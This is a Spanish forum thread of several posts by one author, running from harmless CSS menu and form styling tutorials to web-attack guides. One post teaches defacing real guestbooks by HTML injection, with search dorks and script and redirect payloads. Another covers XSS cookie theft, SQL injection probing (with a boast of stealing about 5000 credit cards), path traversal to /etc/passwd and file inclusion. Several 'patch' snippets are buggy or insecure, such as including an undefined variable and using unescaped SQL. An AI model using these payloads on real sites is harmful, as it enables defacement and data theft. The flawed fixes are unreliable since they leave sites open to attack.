En donde "directorio" equivale a en la carpeta donde tienes el CSS y "tunombre.css" lógicamente es el archivo CSS, reitero, en este caso solo utilizaré un solo archivo HTML ya que es poco contenido.
Sin nada más que decir comenzemos con el código HTML:

Código: html5
<div id="base">
<ul>
    <li><a href="#"></a><div class="link"><a href="#">Link 1</a></div></li>
    <li><a href="#"></a><div class="link"><a href="#">Link 2</a></div></li>
    <li><a href="#"></a><div class="link"><a href="#">Link 3</a></div></li>
    <li><a href="#"></a><div class="link"><a href="#">Link 4</a></div></li>
    <li><a href="#"></a><div class="link"><a href="#">Link 5</a></div></li>
</ul>
</div>


Como podran notar estoy utilizando listas para de esta maner facilitarnos mucho más a la hora de crear algún menú, dentro de una capa con el identificador base ponemos la lista la cual a su vez contiene un link y otra capa más con el identificador link, recuerden que para manejar id en CSS utilizamos "#" y para manejar clases utilizamos ".". Pasemos al código CSS:

Código: css
#base{ //Hacemos referencia al id Base el cual sera la base del menu
width: 800px; //Ancho
margin: 0 auto; //Margen
height: 50; //Alto
background: #004E00; //Fondo
font-family: "Trebuchet MS", Verdana; //Fuente de letra
font-size: 18px; //Tamaño de letra
font-weight: bold; //Negrita/strong
-moz-border-radius-bottomleft:10px; //Borde redondeado aba-izq
-moz-border-radius-bottomright:10px; //Borde redondeado aba-der
-moz-border-radius-topleft:10px; //Borde redondeado arr-izq
-moz-border-radius-topright:10px; //Borde redondeado arr-der
text-shadow: #000000 1px 1px 1px; //Sombra de texto
}
#base ul{//Hacemos referencia a la lista desordenada
margin: 0; //Margen
padding: 0; //Separacion
}
#base ul li:hover{//Hacemos referencia al elemento de la lista y al indicar hover estamos declarando qeu al pasar el mouse sobre este cambiara su estilo
background: #B8CA01; //Fondo
height: 100%; //Alto
-moz-border-radius-bottomleft:10px; //Borde redondeado aba-izq
-moz-border-radius-bottomright:10px; //Borde redondeado aba-der
-moz-border-radius-topleft:10px; //Borde redondeado arr-izq
-moz-border-radius-topright:10px; //Borde redondeado arr-der
}
#base ul li a{//Hacemos referencia a los links dentro de la lista desordenada
text-decoration:none; //Decoracion
padding-top: 15px; //Separacion
color: #FFFFFF; //Color
}
#base ul, li{ //Hacemos referencia a la lista desordenada y a los elementos dentro de esta
list-style:none; //Estilo de lista
}
#base ul li{ //Hacemos referencia a los elementos de la lista desordenada
float:left; //Situar
width: 20%; //Ancho
text-align:center; //Alineacion del texto
}
#base .link{ //Indicamos la clase link
padding-top:13px; //Separacion
}


Ahora les explicaré un poco más detalladamente que es lo que hago en términos prácticos:

Abro una capa con id base el cual me servirá como base del menú, dentro de este situo la lista desordenada con sus respectivos elementos y mediante CSS les quito su valor predeterminado para que aparezcan en forma horizontal en vez de forma vertical y les indico un ancho de 20% a c/u, dentro de esos elementos pongo un atributo a con su respectiva capa con la clase link, con CSS cambio los valores predeterminados del atributo a los cuales son los famosos "links" y la capa con la clase link la creo para poder separar el borde del contenido y que éste se centre.

Realmente es un código muy sencillo ya que al ser código CSS la página cargará mucho más rápido y en cuestión de segundos se puede modificar el diseño, cabe mencionar que en los backgrounds en vez de utilizar el color puedes utilizar alguna imagen para darle un toque más personal.

Acá les dejo un demo: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Acá descargar ejemplo: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Nota: El resaltador de código no me muestra correctamente la parte del HTML, les recomiendo ir al demo y ver el código fuente.

Saludos.
#28
A veces nos encontramos con que tenemos que hacer alguna página web y al momento de crear algún formulario nos vemos en una situación en donde no nos agrada el estilo del formulario, pues enhorabuena, css es la solución para personalizar y mejorar el estilo de estos inputs y parecidos.

Primero explicaré que CSS son las hojas de estilo que nos permiten mejorar "el estilo" (valga la redundancia) del contenido del sitio web y este viene de la mano de HTML por lo que en realidad no es un lenguaje pero trabaja como tal ya que tambien tiene su síntaxis para que los estilos se adapten correctamente.

En este caso tomaré de referencia que ya tienen los conceptos básicos de CSS (si no, descargarse DreamWeaver y crear un documento CSS y al dar "intros" se les irá apareciendo los comandos del CSS) así que comenzarémos con diferenciar para que "targets" iran nuestros css.

#estilo = Al indicar un "#" al inicio indicamos que es un ID. (<div id="xt3mp"></div> por lo que daría en el CSS: #xt3mp {...}).
.estilo = Al indicar un "." al inicio indicamos que es una clase. (<div class="xt3mp"></div> por lo que daría en el CSS: .xt3mp{...}).
estilo = Al no indicar que se trata de un id o una clase, el CSS tomará como referencia los atributos ó mejor dicho, las etiquetas ya preterminadas como lo son body, table, input, textarea, select, th, td, etc, es decir, las que no les agregamos CSS en el HTML pero que aún así existen, en este caso un input sin estilo simplemente sería:

Código: html5

<input type="text" name="sin_css" value="Casilla sin CSS">


Como notamos, en este caso seria "input{..}", así que de ahi partirémos.

Creamos un nuevo documento o en el mismo archivo HTML del formulario agregamos las etiquetas: <style type="text/css"></style> para indicar que se trata de CSS, pondre primero el CSS y luego explicaré que hace cada cosa:

Código: css

input{ /* Al solo poner input sin # ni . indicamos que afecte a todos los input del sitio web */
-moz-border-radius: 3px; /* Con esto hacemos un redondeo en los bordes para que no se mire cuadrado */
background-color: #003300; /* Con esto indicamos el color de fondo */
border: 1px solid #CCFF00; /* Con esto indicamos el size del borde, el estilo (thin, solid, etc) y el color del borde */
color: #379A8D; /* Con esto indicamos el color del contenido */
font-family: Verdana; /* Con esto indicamos la fuente de letra */
font-size: 10px; /* Con esto indicamos el size de letra */
margin: 3px; /* Con esto definimos el espacio afuera del borde */
padding: 3px; /* Con esto definimos el espacio entre el borde */
}
input:hover{ /* Al poner :hover indicamos que afecte a los input al pasar el mouse sobre dichos input*/
background-color: #00CC33; /* Con esto indicamos el color de fondo */
border: 1px solid #CCFF00; /* Con esto indicamos el size del borde, el estilo (thin, solid, etc) y el color del borde */
color: #F2F2F2; /* Con esto indicamos el color del contenido */
}


Ya con esto nuestros input quedarian muy lindos, si quieren que no solo afecte a los input si no que tambien a otros, seria:

Código: css

input, textarea, select, #ID, .clase{...} /* En donde separamos por "," lo que afectara */


Si no queremos que afecte a todos los input hacemos un CSS asi:

Código: css

.clase{ /* Al poner . indicamos que afecte a todo lo que tenga la clase "clase" */
-moz-border-radius: 3px; /* Con esto hacemos un redondeo en los bordes para que no se mire cuadrado */
background-color: #003300; /* Con esto indicamos el color de fondo */
border: 1px solid #CCFF00; /* Con esto indicamos el size del borde, el estilo (thin, solid, etc) y el color del borde */
color: #379A8D; /* Con esto indicamos el color del contenido */
font-family: Verdana; /* Con esto indicamos la fuente de letra */
font-size: 10px; /* Con esto indicamos el size de letra */
margin: 3px; /* Con esto definimos el espacio afuera del borde */
padding: 3px; /* Con esto definimos el espacio entre el borde */
}
.clase:hover{ /* Al poner :hover indicamos que afecte a todo lo que tenga la clase "clase" al pasar el mouse sobre dichos input*/
background-color: #00CC33; /* Con esto indicamos el color de fondo */
border: 1px solid #CCFF00; /* Con esto indicamos el size del borde, el estilo (thin, solid, etc) y el color del borde */
color: #F2F2F2; /* Con esto indicamos el color del contenido */
}


En donde clase es el nombre de su clase, ahora el input sería:
Código: html5

<input type="text" name="concss" class="clase">

Demo: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
P.D. Cabe mencionar que en el DEMO en la parte que dice Con CSS en hover: lo puse así para que vean la diferencia en que sucede al pasar el mouse, lo demas tienen el mismo estilo, saludos.
#29
Este tutorial es viejo, creí que ya lo había posteado:
Antes de seguir quiero mencionar que esta vulnerabilidad casi ya no es encontrada en la web, pero nada es imposible, si no quieren leer pueden ver el video dando No tienes permitido ver los links. Registrarse o Entrar a mi cuenta aquí.
###########################################################################0x01
0x01 ~ Indice
0x02 ~ Autor
0x03 ~ Términos
0x04 ~ Dorks
0x04x01 ~ Como saber si es vulnerable
0x04x02 ~ Como comenzar a atacar
0x05 ~ Sugerencias
0x06 ~ Evitar HTMLi
0x07 ~ Despedida
############################################################################0x02

Autor:

El creador de este paper se hace nombrar Xt3mP el cuál lo hace con el fin de to-
car más este tema, para aclarar dudas y/o adentrarlos al área del HTML Injection,
más sin embargo, no se hace responsable por los actos y/ó consecuencias que pueda
ocasionar abrirlos en este ámbito.

############################################################################0x03

Términos:

HTML = HyperText Markup Language (Lenguaje de Marcas de Hipertexto)

Filtrar = En este ámbito nos referirémos a filtrar al quitar código que pudiese ser malicioso, en los
campos ó casillas de texto para evitar posibles vulnerabilidades en nuestro sitio web.

Dork: En este ámbito nos referirémos a "dorks" a "frases ó palabras" que nos facilitarán las páginas
vulnerables.

¿Por qué es posible? Por la mal estructuración del código que no filtra el texto introducido, por lo tanto al implementar etiquetas de HTML en el campo y guardarlas en el archivo PHP las leerá como HTML y hará lo que le indiquémos en el campo.

Ejemplo : < b >Hola< /b > = Hola

############################################################################0x04

Dorks:

La mayoría de los DORKS actuales ya no son efectivos ya que la mayoría ya los malexploto lo que ocasionó
que nuestro buscador nos tiré páginas que ya fueron hackeadas ó que ya está reparado el bug, pero a
continuación les dejaré unos:

Código: html

allinurl:visitas.php
allinurl:librovisitas.php
allinurl:bookmark.php


Ustedes pueden ir variando el nombre del archivo PHP por alguno relacionado con algún libro de visitas.

############################################################################0x04x01

Como saber si es vulnerable

Para ver si dicha página es vulnerable necesitarémos introducir/comentar en el libro de visitas (en este caso) algúna etiqueta HTML común como <h1> seguido de un texto y si nuestra respuesta lleva acabo el código HTML introducido es muy probable que podámos aprovechar la mal estructuración y/ó filtración del código.

Ejemplo:

Nombre: Xt3mP
Mail: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Comentario: <h1> Test


Y el resultado sería:

Nombre: Xt3mP
Mail: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Comentario: Test



############################################################################0x04x02

Comenzar a atacar

Ya que tengamos nuestra página vulnerable, rellenarémos los datos con valores falsos pero en la casilla de comentario utilizarémos código HTML (<H1>) para forzar a la mala estructuració a que lo haga a la piel de la letra:

Comentario: <h1> Test

Si sale todo como debería de salir (Tamaño grande), harémos llamado a ún Script que mostrará una alerta de bienvenida (por así llamarlo) con el siguiente comando:

Comentario: <script>alert('I_am_Xt3mP')</script>

Con eso te deberá mostrar una alerta al entrar a la página PHP mostrando el texto que indicamos entre ' y '.

Con esto prácticamente hemos acabado pero para un toque final, agregarémos una redirección hacia "otra página" para mostrar algún mensaje personal ó que nos caracteríze con el siguiente comando:

Comentario: <META HTTP-EQUIV="refresh" CONTENT="segundos;url=URL DE LA PAGINA">

En donde CONTENT=" Deberá ir los segundos que tardará en redireccionar y en url la url de nuestra página, ejemplo;

Comentario: <META HTTP-EQUIV="refresh" CONTENT="3;url=No tienes permitido ver los links. Registrarse o Entrar a mi cuenta">

Con esto hemos terminado la explotación de esta vulnerabilidad denominada HTML Injection.


############################################################################0x05

Sugerencias

La primer sugerencia que les haré concorde a esto es que evitense la pena (literalmente) de cometer una infracción con la página web que expuse como ejemplo, ya que fue elejida al azar y no tiene ningún antecedente delictivo por el cuál merezca ser hackeada.

Sobre la HTMLi (HTML Injection), no siempre al aceptar la alerta te acepta la redirección, así que cuidado con eso.

############################################################################0x06

Evitar HTMLi

La HTMLi es positiva por que al guardar (usarémos en este caso archivos .txt) lo guardan directamente como se indica en la casilla de texto en vez de filtrarla, un ejemplo común es este:

Código: php

<?php
$archivo = "file.txt";
$manejador = fopen($archivo,"w") or die("Imposible abrir el archivo\n");
$todo = $_POST['name'].$_POST['mail'].$_POST['comment'];
fwrite($manejador,$todo);
fclose($manejador);
?>


Entonces si ponemos etiquetas HTML ó parecidas las guardaría exactamente y al momento de leerlas la tomaría como si el servidor lo tuviera pre-escrito y las ejecutaría vulnerabilizando el sistema.

Para filtrar las variables existen dos comandos claves en PHP, los cuales son stripslashes y strip_tags que nos filtrarán todas las etiquetas y caractéres raros que pudiera vulnerabilizarnos, un ejemplo común es este:

Código: php

<?php
$archivo = "file.txt";
$manejador = fopen($archivo,"w") or die("Imposible abrir el archivo\n");
$name = strip_tags($_POST['name']);
$name = stripslashes($name);
$mail = strip_tags($_POST['mail'];
$mail = stripslashes($mail);
$comment = strip_tags($_POST['comment'];
$comment = stripslashes($comment);
$todo = $name.$mail.$comment;
fwrite($manejador,$todo);
fclose($manejador);
?>


En donde si escribimos <h1>Test solo mostraría "Test" ya que filtramos las variables.

############################################################################0x07

Despedida

Por pasos sería:

1- Encontrar archivo que lea las etiquetas HTML directamente.
2- Explotar la vulnerabilidad con los comandos arriba dados.

Espero que hayan comprendido bien el uso de esta técnica, cualquier duda o comentario haganla saber.

Xt3mP

###########################################################################
#30
Back-end / Un par de tips caseros.
Agosto 17, 2010, 08:03:43 PM
Algunas funciones y tips para mejorar su web.
------------------------------------------------
Hace poco esta adentrandome más en PHP y encontré (mejor dicho, recordé) una función parecida a la etiqueta FORM METHOD en modo GET de HTML que lo que hace es mostrar ó añadir los argumentos (en este caso los inputs) del formulario por una URL, ejemplo:

Código: html5

<html>
<head>
<title>Form</title>
</head>
<body>
<form action="" METHOD="GET">
Nombre: <input type="text" name="name" id="name"><br /> <!-- Xt3mP -->
Edad: <input type="text" name="age" id="age"><br /> <!-- 17 -->
Mail: <input type="text" name="mail" id="mail"><br /> <!-- [email protected] -->
Pais: <input type="text" name="country" id="country"><br /> <!-- Mexico -->
<input type="submit" value="Enviar">
</form>
</body>
</html>


Y que al dar enviar nos generaría una URL algo así: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta, es decir, nos muestra todas los "inputs" en la variable.

Entonces con PHP hay una función llamada http_build_query() que apartir de un array asociativo ó indexado, nos generaría una "cadena" al estilo de GET como mencioné anteriormente:

Código: php

<?php
$datos = array("name" => "Xt3mP", "age" => "17", "mail" => "[email protected]", "country" => "Mexico");
echo "www.web.com/path/?".http_build_query($datos);
/*
Daria:
www.web.com/path/?name=Xt3mP&age=17&mail=Xt3mP%40und3rgr0und.org&country=Mexico
*/
?>


Como ven, hace "prácticamente" lo mismo, esto puede servir en caso de que tengamos muchos "switchs" ó si tenemos alguna página que necesite agregar los argumentos en la URL ya que no podemos hacer un "switch" para cada parámetro, entonces creamos un array con los datos que ocuparémos y listo, la verdad a mi me funciona mucho, espero les sirva.
------------------------------------------------
Limpiar variables con carácteres raros.

Cuantas veces no nos ha pasado que tenemos algún sistema de usuarios ó algún sistema de registros en donde el usuario tiene que facilitar su nickname (nombre de usuario) y al revisar el registro ó base de datos nos encontramos con carácteres raros que pueden dejarnos vulnerables, entonces hice una función que "limpia" literalmente los carácteres raros de la siguiente manera:

Código: php

<?php
function limpiar_texto($texto){
$car = array("\\","ª","º","-","~","#","@","|","!","\"","·","$","%","&","/","(",")","?","'","¡","¿","[","^","`","]","+","Ç","}","{","¨","´","ñ","Ñ",">","<",";",",",":","."," ","á","é","í","ó","ú","Á","É","Í","Ó","Ú","à","â","ã","À","Â","Ã","è","ê","ì","î","Ì","Î","ò","ô","õ","Ò","Ô","Õ","ù","û","Ù","Û");
$texto = str_replace($car, "", $texto);
return $texto;
}
echo limpiar_texto($_GET['casilla_de_texto']);
/*
xTÉèêemP daria:
xTemP
*/
?>


Entonces, simplemente hacer un include a las funciones y agregar la que les facilité arriba y así limpiamos los carácteres raros, inclusive pueden quitar ó agregar carácteres en el array dependiendo lo que necesiten.
------------------------------------------------
Saber quien nos está queriendo fastidiar la web.

Muchas veces al filtrar las variables no se guarda en la base de datos los carácteres raros que pueden ser vulnerables hacia nuestra web, pero ¿Entonces como localizaríamos a aquellos que nos quieren joder? Fácil.

Suponiendo que es un registro:

Código: php

<?php
include ("connect.php"); //Incluimos la conexion a la DB
$user = $_POST['user'];
$pass = $_POST['pass'];
$mail = $_POST['mail'];
$ip = $_SERVER[REMOTE_ADDR];
mysql_query("INSERT INTO users (user,pass,mail,ip) values ('".$user."','".$pass."','".$mail."','".$ip."') ") or die (mysql_error());
echo "Hola ".htmlentities($user).", te has registrado correctamente.";
?>


Introducimos los datos a la base de datos sin filtrar las variables y mostramos en pantalla filtrandolas, te preguntarás ¿Por qué? Así suponiendo que el usuario escribe algo como "<h1>Xt3mP</h1>", así igualmente aparecería en la base de datos junto con la IP, de esta manera sabremos quien nos esta queriendo joder las "balls", obviamente al mostrarlo en pantalla le metemos un htmlentities(), bueno, a mi me sirve, he pillado a muchos que han querido joderme.
------------------------------------------------
Usuarios autorizados.

A veces (He visto), que una parte de las páginas web online te piden autorización para ciertas páginas, digamosle panel_adm.php ¡PERO!, si entramos (ejemplo) a panel_adm_addusers.php da la casualidad que hay no te pide autorización del sitio y queda totalmente a la merced del usuario atacante.

Les recomiendo hacer una función ó comprobar (como lo haré en este caso) que siempre que sea una página crítica solo personal autorizado pueda acceder a ella:

Código: php

<?php
session_start(); //Inicia la session, si existe la retoma, si no existe la crea.

if ($_SESSION['admin'] != TRUE){ //Comprobamos que la sesion ADMIN sea verdadera, recuerden que != significa diferente a.
echo "No autorizado";
}else{

//Toda la web aqui

}
?>

------------------------------------------------
Encriptación de contraseñas.

A veces la encriptación de contraseñas con "hashes" se nos hace un poco díficil ya que es one-way, es decir, solo encriptan más no tiene función para desencriptar a menos que sea con "brutus force" mediante encriptando la contraseña en el mismo tipo de encriptación y comparar si la contraseña encriptada es igual a la que encriptamos, es decir:


Si la contraseña encriptada del usuario es: 21fa33e4fb9fa3f1da10f7c17823e7e8

El atacante al obtener esa contraseña y darse cuenta por obvias razones que es md5, utilizará alguna herramienta tanto online como offline que funcionan de la siguiente manera:

Encriptar: Text1 = 1c06e3d86536d0eb8903da08af433909
Encriptar: Text1 = eb396671a7de43af3a9b5afaceb1514b
Encriptar: Xt3mP = 21fa33e4fb9fa3f1da10f7c17823e7e8 (Bingo) Nos vota exáctamente el mismo hash por lo tanto esa sería la contraseña.

En terminos básicos, para desencriptar un hash one-way se hace a la reversa literalmente, encriptas el texto lo cual hará que nos genere un hash y ya obteniendo ese hash lo comparas con el hash de la contraseña.

Así que almenos yo encripto la contraseña de manera muy, mmm como decirlo, que sea díficil de descifrarla:

Código: php

<?php
$pass = "Xt3mP";
$pass = base64_encode(md5(md5(sha1(crypt(md5($pass),"s523/*a5s4s"))).$pass));
echo $pass;
/*
Daria:
Y2YzOWUxYzNkZWZiZGExYmU3OTUyNDk2MmE0YjhiNTA=
*/
?>


Ya al momento de querer cambiar la contraseña hay sería lo díficil, porque tendrías que crear un sistema de reseteo de contraseña mediante la introducción de la fecha de nacimiento, pregunta privada, etc.

Nota: Y sí, puse base64 para que cuando el atacante la vea sepa que le estoy jugando una pequeña bromita =).
------------------------------------------------
Ultimo tip y el más importante.

Es un frase:

"No por tener menos código significa que sea mejor."

Creo que le entienden, se refiere a que no por tener reducido todo en un solo PHP (y gracias a esto cometer un error de programación) significa que el script vaya a ser mejor ó más rápido, usen la cantidad de archivos que realmente necesiten.
------------------------------------------------
Saludos.
#31
Bugs y Exploits / Seguridad y Protección a nivel web.
Agosto 14, 2010, 12:05:44 AM
Protección y seguridad a nivel web, versión 1.

He visto por hay varios temas (no solo en este foro) en donde el punto príncipal es la seguridad web "parchando" así las posibles fallas que pueda tener la programación y/ó la estructuración del sitio, es lamentable ver (al decir lamentable me refiero a que no es bueno) que explican como parchar la vulnerabilidad (ó al menos la mayoría) pero no explican el porque de la vulnerabilidad. (Es como querer enseñar a un niño a correr cuando todavía no sabe caminar), por lo tanto mi punto es: explicar "PORQUE" existe ó se puede llevar a cabo la vulnerabilidad y una vez explicada, explicar como parcharla.

Cabe mencionar que no explicaré ni diré todas las vulnerabilidades a nivel web por tres razones:
1- Falta de tiempo.
2- No puedo hacer un post demasiado largo, perdería el toque, en próximas versiones tál vez explique otras.
3- Al aprender el porque y como parchar unas cuantas, estoy seguro que cuando encuentren otra en su sitio web sabran parcharla.

Por lo que solo explicaré las más "comúnes/típicas".
------------------------------------------------------------
XSS/HTML Injection
------------------------------------------------------------
XSS (Cross Site Scripting), se le denominó XSS para no confundir con las hojas de estilo (CSS), la vulnerabilidad se explota mediante la inyección de código "script/scripting" en alguna variable tanto POST como GET.

HTML Injection (Inyección HTML), la vulnerabilidad se explota mediante la inyección de código (príncipalmente HTML) en alguna variable tanto POST como GET.

¿Qué tienen de diferencia? Que XSS hace correr script (Ej: <script>alert('XSS');</script>) y por otro lado, HTML Injection hace correr tags literalmente (Ej: <marquee>HTMLi</marquee>, <table></table>, <iframe></iframe>, etc).

Puse las dos juntas en el mismo subtítulo ya que la forma en que se pueden parchar se pueden utilizar para las dos. Tomaré de ejemplo el siguiente "buscador":

Código: php

<?php
$buscar = $_GET['buscar'];
echo "La busqueda de: ".$buscar." no encontro ningun resultado";
/*
En donde si ponemos tanto script como tags se ejecutaria en la misma pagina
*/
?>


Entonces, ¿Como se parcharían estos tags? PHP te brinda 3 funciones escenciales, las cuales son strip_tags(), y htmlentities().
strip_tags() = Elimina las etiquetas de los tags (<h1>test</h1> = test);
htmlentities() = Obtiene los tags de la inyección y evita que se ejecute. (<h1>test</h1> = <h1>test</h1>);

Pueden utilizar cualquiera

Podemos hacerlo directamente:
Código: php

<?php
$buscar = strip_tags(htmlentities($_GET['buscar']));
echo "La busqueda de: ".$buscar." no encontro ningun resultado";
/*
En donde si ponemos <h1>Vulnerable</h1> votaria exactamente:
La busqueda de: <h1>Vulnerable</h1> no encontro ningun resultado

En donde si ponemos <table border="0"> votaria exactamente:
La busqueda de: <table border=\"0\"> no encontro ningun resultado
Como se puede apreciar ya no se ejecutaron los tags.
?>


Generalmente se utiliza una inyección HTML solo para fastidiar al programador, por otro lado, con XSS se pueden hacer cosas interesantes como el robo de cookies, la verdad no pretendo enseñarles a como llevar acabo una vulnerabilidad si no como parcharla, así que les daré solo un breve ejemplo de un robo de cookies:

Nota: No explicaré mediante código esta vulnerabilidad ya que no se trata de "incitarlos" a que lo hagan, si no a parcharlo.

Un robo de cookies mediante XSS se caracteriza (su nombre lo dice todo) por "inyectar" en la vulnerabilidad mediante script un código que al ser enviado (en este caso a un supuesto administrador) y dar click en el enláce, automáticamente se envía un correo (esto depende de la página atacante) con la cookie del Administrador, posteriormente con algun editor de cabezeras (el mejor para mi es Tamper DATA) se cambia la cookie de sesión nuestra por la que obtuvimos por el administrador y listo, sesión de Administrador robada:

Citar
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta<script>window.location='No tienes permitido ver los links. Registrarse o Entrar a mi cuenta</script>

Ya solo es cuestión de agarrar la variable "cookie" en este caso y guardarla (tanto en .txt como correo), solo sería cuestión de disfrazar y meterle ingeniería social, y para parcharlo con las funciones de arriba se lleva acabo.
Es algo interesante este par de vulnerabilidades ya que sabiendo utilizarlas se puede hacer algo de daño, así que si son vulnerables, es hora de que lo dejen de ser.
------------------------------------------------------------
SQL Injection
------------------------------------------------------------
SQL Injection [Inyección SQL (Structured Query Language)], se caracteriza por no filtrar la petición a la base de datos conllevando con esta, un error en la implementación del valor a "pedir" y así exponiendo el código, es decir, que gracias a una mala estructuración/programación del código para hacer una petición (no filtrar las variables) se puede explotar dejando así toda la base de datos a la vista del atacante.

Aquí entra algo de polémica, la mayoría solo cree que una inyección SQL siempre será: -1+SELECT+UNION+1,2--, pero nó, existen muchos tipos de inyecciones SQL pero en este caso indicarémos como parchar la "típica".

Un ejemplo de una mala estructuración es (es parecida al error de la vulnerabilidad XSS/HTMLi), suponiendo que el link seria No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Código: php

<?php
include("connect.php"); //Conexion a la base de datos
$id = $_GET['id']; //Obtenemos el ID
$query = mysql_query("SELECT * FROM noticias WHERE id=".$id." "); //Hacemos la peticion
/*
web.com/noticia_id.php?id=-1 pediria la peticion como:
$query = mysql_query("SELECT * FROM noticias WHERE id=' ")
Y mostraria un error como este:
You have an error in your SQL syntax; check the manual that corresponds toyour MySQL server version for the right syntax to use near '' at line 1
*/
?>


Daría error, entonces al intentar acceder como (-1+UNION+SELECT+1) daría:
Citar
The used SELECT statements have a different number of columns

Entonces así podemos ir explotando la vulnerabilidad hasta obtener datios valiosos (en una experiencia personal, logré obtener cerca de 5000 tarjetas de crédito).

Viene lo agradable ¿Como parcharla? como se han dado cuenta, se lleva acabo por una mala petición en el código, entonces así como PHP nos brinda funciones para filtrar, SQL tiene una por su lado que es mysql_escape_string() que con este filtraremos el GET, tambien podemos comprobar que exista la noticia antes de mostrarse, este sería el código:

Código: php

<?php
include("connect.php"); //Conexion a la base de datos
$id = strip_tags($_GET['id']); //Obtenemos el ID

if (is_numeric($id)){ //Comprobamos que sea numerico

$query = mysql_query("SELECT * FROM noticias WHERE id=".mysql_escape_string($id)." "); //Hacemos la peticion

if ($row = mysql_fetch_array($query)){ //Comprobamos que exista
echo "Noticia: ".$row['titulo']."<br />";
}else{
echo "La noticia no existe";
}
}else{
echo "La noticia no existe";
}
?>


¿Qué hacemos? Incluímos la conexión a la base de datos, obtenemos el ID por GET y lo filtramos, comprobamos si es númerico el ID, hacemos la petición filtrada con mysql_escape_string(), comprobamos que exista la noticia, por otro lado, si no es númerico ó no existe la noticia te marcará un error (echo...).
Así de sencillo parchamos (ó mejor dicho, hacemos menos posible la vulnerabilidad) SQL Injection.
------------------------------------------------------------
Full Path Disclosure
------------------------------------------------------------
Esta vulnerabilidad en lo personal me agrada, ¿Por? Porque por un pequeño error en el código te muestra el "Full Path", es decir, con un error que nos tire te muestra todos los paths por donde pasa el script, generalmente sucede en descargas ya que no filtramos muy bien la ruta de los archivos y dejamos al descubierto todos los directorios, por ejemplo:

Suponiendo que nuestra página tiene un link para descargar los archivos que nosotros indiquemos, algo como:
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Entonces como vemos hace un "query" prácticamente al archivo a descargar, pero que sucede si nosotros recorremos el path con los comandos que tál vez conozcas (.. , ., etc) para recorrer ó avanzar directorios, quedaría algo así:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Citar
Warning: fopen(testing) [function.fopen]: failed to open stream: No such file or directory in
/var/www/name/html/descargar.php on line 5

Y como vemos, en este caso es "/var/www/name/html/admin/", cuando una web es vulnerable, el atacante comúnmente busca el archivo /etc/passwd por default, entonces la url quedaría:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

En donde cada ../ es una carpeta anterior, todo depende de donde este situado esta vulnerabilidad, te preguntarás, ¿Pero en qué nos afecta?
En que si nosotros ingresamos por (suponiendo que tengamos una carpeta llamada admin):

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Se nos descargaría el "Script" completo del admin y sería cuestión de ir jugando con los archivos para ver que otras vulnerabilidades tienen.

¿Como parchar? Para wordpress existe (este código no es mío, pero esta muy conocido en la red):

Citar
if(function_exists('add_action')) {
[...]
}

Y por mi parte las recomendaciones serían:

1.- Evitar mostrar el error en pantalla, tanto modificando el php.ini como editando todo archivo para que no muestre error, ó bien agregando error_reporting(0);
2.- Si haran descarga de archivos "web.com/descargar.php?file=" sería preferible que mejor pongan:
2.1- Descargas directas: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta"
2.2- Hacer un array ó switch para cada "case" y no poner directamente el nombre (archivo.php) si no alguna abreviación como
web.com/descargar.php?file=videos_anio_nuevo y ya con un "file_exists()" comprobamos la existencia del archivo.
3.- Si bien deciden dejar el script así, pueden implementar un código más ó menos de esta manera para fijar el directorio en una carpeta en específico y comprobar la existencia de este, claro esta, tambien sustituímos los carácteres (".","/") que son los usuales en estos casos:

Código: php

<?php
$file = str_replace(array('.','/'),'',$_GET['file']);
$file = "./".$file; //Indicamos con el ./ que el fichero debe encontrarse en el mismo directorio.
if (!file_exists($file)){
echo "No intentes bugear";
}else{
header("Content-type: application/octet-stream");
header("Content-Disposition: attachment; filename=\"$file\"\n");
$filepath=fopen("$file", "r");
fpassthru($filepath);
}
?>

------------------------------------------------------------
RFI/LFI
------------------------------------------------------------
RFI (Remote File Inclusion), consiste en como su nombre lo dice, incluír archivos remótamente en el servidor.
LFI (Local File Inclusion), consiste en como su nombre lo dice, incluír archivos localmente en el servidor.

Estas vulnerabilidades antes eran muy típicas, pero conforme PHP fue avanzando de versión fueron "más díficiles" encontrarnos con una.
Lo explicaré brevemente ya que es parecido lo mismo que Full Path Disclosure.

Para RFI:
Suponiendo que tenemos una página llamada No tienes permitido ver los links. Registrarse o Entrar a mi cuenta y tenemos un código parecido a este:
Código: php

<?php
$file = $_GET['path'];
include ($path);
?>


Como se observa, incluímos directamente el GET sin filtrarlo ni comprobar que exista, entonces ¿Por qué les puede perjudicar?
Si yo en su página hago No tienes permitido ver los links. Registrarse o Entrar a mi cuenta ¿Que pasaría? Se incluiría en su página mi script malicioso y tendría acceso a todo su servidor/hosting ocasionando que yo pueda malusa resta vulnerabilidad y destrozarles su página (cosa que nunca hago).

Para LFI:
Suponiendo que tenemos la misma página, pero ahora si filtramos el archivo y comprobamos que exista de esta manera:
Código: php

<?php
$file = $_GET['path'];
if (file_exists($file)){
include ($path);
}else{
echo "No intentes buggear";
}
?>


Aquí pasaríamos de nuevo con el Full Path Disclosure, comenzamos a "navegar" con "../" , "./" hasta encontrar algún archivo vulnerable y comenzar a atacar.

¿Como parcharlo?
Esta manera que explicaré será para las dos vulnerabilidades:
Código: php

<?php
$file = str_replace('/','',$_GET['path']);
$file = "./".$file;
if (file_exists($file)){
include ($path);
}else{
echo "No intentes buggear";
}
?>


Como se observa, se utilizó "casi" la misma manera de parchar el Full Path Disclosure, solo es cuestión de que analizen su código línea por línea.
------------------------------------------------------------
Tips
------------------------------------------------------------
Les daré un par de tips para hacer segura su web que en lo personal me han servido de mucho:
1.- Si se trata de sesiones, comprobar en "cada página" que solo usuarios autorizados puedan acceder.
2.- Filtrar todas y cada una de las variables.
3.- Generar "errores" marcados por nosotros, por ejemplo:

Código: php

<?php
$error = array('Error de existencia', 'Error numerico');
if (file_exists($archivo)){
//Todo el codigo
}else{
$file = fopen("error.txt", 'a+'); //Permisos de escritura y lectura con a+
fwrite($file, '
